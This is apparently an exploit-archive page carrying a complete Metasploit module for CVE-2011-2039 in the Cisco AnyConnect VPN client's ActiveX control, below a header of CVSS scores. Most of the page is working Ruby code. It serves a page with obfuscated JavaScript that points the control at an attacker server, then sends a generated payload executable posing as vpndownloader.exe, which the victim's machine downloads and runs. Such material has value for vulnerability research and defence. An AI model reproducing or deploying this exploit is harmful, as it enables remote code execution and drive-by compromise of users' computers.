Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

2011.06.10
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute', 'Description' => %q{ This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit' ], 'Version' => '$Revision: 12872 $', 'References' => [ [ 'CVE', '2011-2039' ], [ 'OSVDB', '72714'], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ], [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'], ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_X86 } ], ], 'DisclosureDate' => 'Jun 01 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) ], self.class) end def on_request_uri(cli, request) if request.uri.match(/vpndownloader\.exe/) exe = generate_payload_exe({:code => payload.encoded}) print_status("Client requested: #{request.uri}. Sending vpndownloader.exe") send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' }) select(nil, nil, nil, 5) # let the file download handler(cli) return end if request.uri.match(/updates\.txt/) print_status("Client requested: #{request.uri}. Sending updates.txt") updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1)) send_response(cli, updates, { 'Content-Type' => 'text/plain' }) return end url = get_uri(cli) dir = rand_text_alpha((rand(40) + 1)) js = ::Rex::Exploitation::JSObfu.new %Q| var x = document.createElement("object"); x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566"); x.url = "#{url}/#{dir}/"; | js.obfuscate html = "<html>\n\t<script>#{js}\t</script>\n</html>" print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) end end

References:

http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml


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